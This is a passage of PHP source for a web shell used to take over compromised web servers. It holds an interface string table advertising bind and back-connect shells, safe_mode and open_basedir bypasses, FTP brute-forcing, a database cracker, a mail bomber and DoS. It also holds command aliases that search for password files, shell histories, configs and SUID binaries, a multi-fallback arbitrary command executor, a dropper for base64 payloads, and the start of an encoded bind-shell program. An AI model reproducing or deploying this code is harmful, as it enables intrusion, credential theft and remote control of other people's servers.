897'eng_text9' =>'bash port bind',
898'eng_text10'=>'Port',
899'eng_text11'=>'Password for access',
900'eng_butt3' =>'Bind',
901'eng_text12'=>'back-connect',
902'eng_text13'=>'IP',
903'eng_text14'=>'Port',
904'eng_butt4' =>'Connect',
905'eng_text15'=>'Upload files from remote server',
906'eng_text16'=>'With',
907'eng_text17'=>'Remote file',
908'eng_text18'=>'Local file',
909'eng_text19'=>'Exploits',
910'eng_text20'=>'Use',
911'eng_text21'=>' New name',
912'eng_text22'=>'datapipe',
913'eng_text23'=>'Local port',
914'eng_text24'=>'Remote host',
915'eng_text25'=>'Remote port',
916'eng_text26'=>'Use',
917'eng_butt5' =>'Run',
918'eng_text28'=>'Work in safe_mode',
919'eng_text29'=>'ACCESS DENIED',
920'eng_butt6' =>'Change',
921'eng_text30'=>'Cat file',
922'eng_butt7' =>'Show',
923'eng_text31'=>'File not found',
924'eng_text32'=>'Eval PHP code',
925'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
926'eng_butt8' =>'Test',
927'eng_text34'=>'Test bypass safe_mode with include function',
928'eng_text35'=>'Test bypass safe_mode with load file in mysql',
929'eng_text36'=>'Database . Table',
930'eng_text37'=>'Login',
931'eng_text38'=>'Password',
932'eng_text39'=>'Database',
933'eng_text40'=>'Dump database table',
934'eng_butt9' =>'Dump',
935'eng_text41'=>'Save dump in file',
936'eng_text42'=>'Edit files',
937'eng_text43'=>'File for edit',
938'eng_butt10'=>'Save',
939'eng_text44'=>'Can\'t edit file! Only read access!',
940'eng_text45'=>'File saved',
941'eng_text46'=>'Show phpinfo()',
942'eng_text47'=>'Show variables from php.ini',
943'eng_text48'=>'Delete temp files',
944'eng_butt11'=>'Edit file',
945'eng_text49'=>'Delete script from server',
946'eng_text50'=>'View cpu info',
947'eng_text51'=>'View memory info',
948'eng_text52'=>'Find text',
949'eng_text53'=>'In dirs',
950'eng_text54'=>'Find text in files',
951'eng_butt12'=>'Find',
952'eng_text55'=>'Only in files',
953'eng_text56'=>'Nothing :(',
954'eng_text57'=>'Create/Delete File/Dir',
955'eng_text58'=>'name',
956'eng_text59'=>'file',
957'eng_text60'=>'dir',
958'eng_butt13'=>'Create/Delete',
959'eng_text61'=>'File created',
960'eng_text62'=>'Dir created',
961'eng_text63'=>'File deleted',
962'eng_text64'=>'Dir deleted',
963'eng_text65'=>'Create',
964'eng_text66'=>'Delete',
965'eng_text67'=>'Chown/Chgrp/Chmod',
966'eng_text68'=>'Command',
967'eng_text69'=>'param1',
968'eng_text70'=>'param2',
969'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
970'eng_text72'=>'Text for find',
971'eng_text73'=>'Find in folder',
972'eng_text74'=>'Find in files',
973'eng_text75'=>'* you can use regexp',
974'eng_text76'=>'Search text in files via find',
975'eng_text80'=>'Type',
976'eng_text81'=>'NetTools',
977'eng_text82'=>'Databases',
978'eng_text83'=>'Run SQL query',
979'eng_text84'=>'SQL query',
980'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
981'eng_text86'=>'Download files from server',
982'eng_butt14'=>'Download',
983'eng_text87'=>'Download files from remote ftp-server',
984'eng_text88'=>'Server : Port',
985'eng_text89'=>'File on ftp',
986'eng_text90'=>'Transfer mode',
987'eng_text91'=>'Archivation',
988'eng_text92'=>'without arch.',
989'eng_text93'=>'FTP',
990'eng_text94'=>'FTP-bruteforce',
991'eng_text95'=>'Users list',
992'eng_text96'=>'Can\'t get users list',
993'eng_text97'=>'checked: ',
994'eng_text98'=>'success: ',
995'eng_text99'=>'/etc/passwd',
996'eng_text100'=>'Send file to remote ftp server',
997'eng_text101'=>'Use reverse (v4 Team -> 401bmh)',
998'eng_text102'=>'Mail',
999'eng_text103'=>'Send email',
1000'eng_text104'=>'Send file to email',
1001'eng_text105'=>'To',
1002'eng_text106'=>'From',
1003'eng_text107'=>'Subj',
1004'eng_butt15'=>'Send',
1005'eng_text108'=>'Mail',
1006'eng_text109'=>'Hide',
1007'eng_text110'=>'Show',
1008'eng_text111'=>'SQL-Server : Port',
1009'eng_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
1010'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
1011'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
1012'eng_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
1013'eng_text116'=>'Copy from',
1014'eng_text117'=>'to',
1015'eng_text118'=>'File copied',
1016'eng_text119'=>'Cant copy file',
1017'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
1018'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
1019'eng_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
1020'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
1021'eng_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
1022'eng_text125'=>'Data',
1023'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
1024'eng_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
1025'eng_text128'=>'Modify/Access date(touch)',
1026'eng_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
1027'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
1028'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
1029'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
1030'eng_text133'=>'',
1031'eng_text134'=>'Database cracker',
1032'eng_text135'=>'Dictionary',
1033'eng_text136'=>'Creating evil symlink',
1034'eng_text137'=>'Useful',
1035'eng_text138'=>'Dangerous',
1036'eng_text139'=>'Mail Bomber',
1037'eng_text140'=>'DoS',
1038'eng_text141'=>'USE CAREFULY - This may harm your web domain.',
1039'eng_err0'=>'Error! Can\'t write to the file ',
1040'eng_err1'=>'Error! Can\'t read the file ',
1041'eng_err2'=>'Error! Can\'t create ',
1042'eng_err3'=>'Error! Can\'t connect to FTP',
1043'eng_err4'=>'Error! Can\'t login on ftp server',
1044'eng_err5'=>'Error! Can\'t change dir on FTP',
1045'eng_err6'=>'Error! Can\'t sent mail',
1046'eng_err7'=>'Mail send',
1047);
1048
1049$aliases=array(
1050'----------------------------------locate'=>'',
1051'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1052'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1053'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1054'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1055'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1056'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1057'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1058'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1059'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1060'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1061'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1062'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1063'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1064'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1065'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1066'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1067'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1068'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1069'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1070'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
1071'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
1072'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
1073'----------------------------------tar'=>'',
1074'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
1075'----------------------------------1'=>'',
1076'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1077'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1078'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1079'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1080'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1081'----------------------------------2'=>'',
1082'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
1083'----------------------------------find'=>'',
1084'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1085'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1086'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1087'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1088'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1089'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1090'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1091'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1092'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1093'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1094'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt',
1095'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1096'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1097'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt',
1098'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1099'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1100'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1101'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1102'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1103'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1104'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1105'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1106'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1107'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1108'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1109'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1110'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1111'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1112'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1113'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1114'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1115'-----------------------------------'=>'',
1116'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1117'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1118'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1119'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1120'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1121'----------------------------------------------------------------------------------------------------'=>'ls -la'
1122);
1123$table_up1 = "<tr><td bgcolor=#0C0C0C><font face=Verdana size=-2><b><div align=center>(+) ";
1124$table_up2 = " (-)</div></b></font></td></tr><tr><td>";
1125$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C>";
1126$table_end1 = "</td></tr>";
1127$arrow = " <font face=Webdings color=gray>4</font>";
1128$lb = "<font color=black>[</font>";
1129$rb = "<font color=black>]</font>";
1130$font = "<font face=Verdana size=-2>";
1131$ts = "<table class=table1 width=100% align=center>";
1132$te = "</table>";
1133$fs = "<form name=form method=POST>";
1134$fe = "</form>";
1135
1136if(isset($_GET['users']))
1137 {
1138 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
1139 else
1140 {
1141 echo '<center>';
1142 foreach($users as $user) { echo $user."<br>"; }
1143 echo '</center>';
1144 }
1145 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
1146 }
1147
1148if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
1149if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
1150$unix = 0;
1151if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
1152if(empty($dir))
1153 {
1154 $os = getenv('OS');
1155 if(empty($os)){ $os = @php_uname(); }
1156 if(empty($os)){ $os ="-"; $unix=1; }
1157 else
1158 {
1159 if(@eregi("^win",$os)) { $unix = 0; }
1160 else { $unix = 1; }
1161 }
1162 }
1163
1164if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
1165 {
1166 echo $head;
1167 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
1168 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
1169 $sr->SearchText(0,0);
1170 $res = $sr->GetResultFiles();
1171 $found = $sr->GetMatchesCount();
1172 $titles = $sr->GetTitles();
1173 $r = "";
1174 if($found > 0)
1175 {
1176 $r .= "<TABLE width=100%>";
1177 foreach($res as $file=>$v)
1178 {
1179 $r .= "<TR>";
1180 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
1181 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
1182 $r .= "</b></font></ TD>";
1183 $r .= "</TR>";
1184 foreach($v as $a=>$b)
1185 {
1186 $r .= "<TR>";
1187 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
1188 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
1189 $r .= "</TR>\n";
1190 }
1191 }
1192 $r .= "</TABLE>";
1193 echo $r;
1194 }
1195 else
1196 {
1197 echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
1198 }
1199 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1200 die();
1201 }
1202
1203if(!$safe_mode && strpos(ex("echo abchmb"),"hmb")!=3) { $safe_mode = 1; }
1204$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
1205if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
1206function ws($i)
1207{
1208return @str_repeat(" ",$i);
1209}
1210function ex($cfe)
1211{
1212 $res = '';
1213 if (!empty($cfe))
1214 {
1215 if(@function_exists('exec'))
1216 {
1217 @exec($cfe,$res);
1218 $res = join("\n",$res);
1219 }
1220 elseif(@function_exists('shell_exec'))
1221 {
1222 $res = @shell_exec($cfe);
1223 }
1224 elseif(@function_exists('system'))
1225 {
1226 @ob_start();
1227 @system($cfe);
1228 $res = @ob_get_contents();
1229 @ob_end_clean();
1230 }
1231 elseif(@function_exists('passthru'))
1232 {
1233 @ob_start();
1234 @passthru($cfe);
1235 $res = @ob_get_contents();
1236 @ob_end_clean();
1237 }
1238 elseif(@is_resource($f = @popen($cfe,"r")))
1239 {
1240 $res = "";
1241 if(@function_exists('fread') && @function_exists('feof')){
1242 while(!@feof($f)) { $res .= @fread($f,1024); }
1243 }else if(@function_exists('fgets') && @function_exists('feof')){
1244 while(!@feof($f)) { $res .= @fgets($f,1024); }
1245 }
1246 @pclose($f);
1247 }
1248 elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
1249 {
1250 $res = "";
1251 if(@function_exists('fread') && @function_exists('feof')){
1252 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
1253 }else if(@function_exists('fgets') && @function_exists('feof')){
1254 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
1255 }
1256 @proc_close($f);
1257 }
1258 elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
1259 {
1260 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
1261 $pid = @pcntl_fork();
1262 if ($pid == -1) {
1263 $res .= '[-] Could not children fork. Exit';
1264 } else if ($pid) {
1265 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
1266 else {$res .= '[-] Error. Command incorrect.';}
1267 } else {
1268 $cfe = array(" -e 'system(\"$cfe\")'");
1269 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
1270 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
1271 die();
1272 }
1273 }
1274 }
1275 return $res;
1276}
1277function get_users($filename)
1278{
1279 $users = array();
1280 $rows=@explode("\n",readzlib($filename));
1281 if(!$rows) return 0;
1282 foreach ($rows as $string)
1283 {
1284 $user = @explode(":",trim($string));
1285 if(substr($string,0,1)!='#') array_push($users,$user[0]);
1286 }
1287 return $users;
1288}
1289function err($n,$txt='')
1290{
1291echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#0C0C0C><font color=red face=Verdana size=-2><div align=center><b>';
1292echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
1293if(!empty($txt)) { echo " $txt"; }
1294echo '</b></div></font></td></tr></table>';
1295return null;
1296}
1297function perms($mode)
1298{
1299if (!$GLOBALS['unix']) return 0;
1300if( $mode & 0x1000 ) { $type='p'; }
1301else if( $mode & 0x2000 ) { $type='c'; }
1302else if( $mode & 0x4000 ) { $type='d'; }
1303else if( $mode & 0x6000 ) { $type='b'; }
1304else if( $mode & 0x8000 ) { $type='-'; }
1305else if( $mode & 0xA000 ) { $type='l'; }
1306else if( $mode & 0xC000 ) { $type='s'; }
1307else $type='u';
1308$owner["read"] = ($mode & 00400) ? 'r' : '-';
1309$owner["write"] = ($mode & 00200) ? 'w' : '-';
1310$owner["execute"] = ($mode & 00100) ? 'x' : '-';
1311$group["read"] = ($mode & 00040) ? 'r' : '-';
1312$group["write"] = ($mode & 00020) ? 'w' : '-';
1313$group["execute"] = ($mode & 00010) ? 'x' : '-';
1314$world["read"] = ($mode & 00004) ? 'r' : '-';
1315$world["write"] = ($mode & 00002) ? 'w' : '-';
1316$world["execute"] = ($mode & 00001) ? 'x' : '-';
1317if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
1318if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
1319if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
1320$s=sprintf("%1s", $type);
1321$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
1322$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
1323$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
1324return trim($s);
1325}
1326function in($type,$name,$size,$value,$checked=0)
1327{
1328 $ret = "<input type=".$type." name=".$name." ";
1329 if($size != 0) { $ret .= "size=".$size." "; }
1330 $ret .= "value=\"".$value."\"";
1331 if($checked) $ret .= " checked";
1332 return $ret.">";
1333}
1334function which($pr)
1335{
1336$path = '';
1337$path = ex("which $pr");
1338if(!empty($path)) { return $path; } else { return false; }
1339}
1340function cf($fname,$text)
1341{
1342 $w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
1343 if($w_file)
1344 {
1345 @fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
1346 @fclose($w_file);
1347 }
1348}
1349function sr($l,$t1,$t2)
1350 {
1351 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
1352 }
1353if (!@function_exists("view_size"))
1354{
1355function view_size($size)
1356{
1357 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
1358 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
1359 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
1360 else {$size = $size . " B";}
1361 return $size;
1362}
1363}
1364 function DirFilesR($dir,$types='')
1365 {
1366 $files = Array();
1367 if(($handle = @opendir($dir)) || (@function_exists('scandir')))
1368 {
1369 while ((false !== ($file = @readdir($handle))) && (false !== ($file = @scandir($dir))))
1370 {
1371 if ($file != "." && $file != "..")
1372 {
1373 if(@is_dir($dir."/".$file))
1374 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
1375 else
1376 {
1377 $pos = @strrpos($file,".");
1378 $ext = @substr($file,$pos,@strlen($file)-$pos);
1379 if($types)
1380 {
1381 if(@in_array($ext,explode(';',$types)))
1382 $files[] = $dir."/".$file;
1383 }
1384 else
1385 $files[] = $dir."/".$file;
1386 }
1387 }
1388 }
1389 @closedir($handle);
1390 }
1391 return $files;
1392 }
1393 class SearchResult
1394 {
1395 var $text;
1396 var $FilesToSearch;
1397 var $ResultFiles;
1398 var $FilesTotal;
1399 var $MatchesCount;
1400 var $FileMatschesCount;
1401 var $TimeStart;
1402 var $TimeTotal;
1403 var $titles;
1404 function SearchResult($dir,$text,$filter='')
1405 {
1406 $dirs = @explode(";",$dir);
1407 $this->FilesToSearch = Array();
1408 for($a=0;$a<count($dirs);$a++)
1409 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
1410 $this->text = $text;
1411 $this->FilesTotal = @count($this->FilesToSearch);
1412 $this->TimeStart = getmicrotime();
1413 $this->MatchesCount = 0;
1414 $this->ResultFiles = Array();
1415 $this->FileMatchesCount = Array();
1416 $this->titles = Array();
1417 }
1418 function GetFilesTotal() { return $this->FilesTotal; }
1419 function GetTitles() { return $this->titles; }
1420 function GetTimeTotal() { return $this->TimeTotal; }
1421 function GetMatchesCount() { return $this->MatchesCount; }
1422 function GetFileMatchesCount() { return $this->FileMatchesCount; }
1423 function GetResultFiles() { return $this->ResultFiles; }
1424 function SearchText($phrase=0,$case=0) {
1425 $qq = @explode(' ',$this->text);
1426 $delim = '|';
1427 if($phrase)
1428 foreach($qq as $k=>$v)
1429 $qq[$k] = '\b'.$v.'\b';
1430 $words = '('.@implode($delim,$qq).')';
1431 $pattern = "/".$words."/";
1432 if(!$case)
1433 $pattern .= 'i';
1434 foreach($this->FilesToSearch as $k=>$filename)
1435 {
1436 $this->FileMatchesCount[$filename] = 0;
1437 $FileStrings = @file($filename) or @next;
1438 for($a=0;$a<@count($FileStrings);$a++)
1439 {
1440 $count = 0;
1441 $CurString = $FileStrings[$a];
1442 $CurString = @Trim($CurString);
1443 $CurString = @strip_tags($CurString);
1444 $aa = '';
1445 if(($count = @preg_match_all($pattern,$CurString,$aa)))
1446 {
1447 $CurString = @preg_replace($pattern,"<SPAN style='color: #7DFF7D;'><b>\\1</b></SPAN>",$CurString);
1448 $this->ResultFiles[$filename][$a+1] = $CurString;
1449 $this->MatchesCount += $count;
1450 $this->FileMatchesCount[$filename] += $count;
1451 }
1452 }
1453 }
1454 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
1455 }
1456 }
1457 function getmicrotime()
1458 {
1459 list($usec,$sec) = @explode(" ",@microtime());
1460 return ((float)$usec + (float)$sec);
1461 }
1462$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
1463cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
1464CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
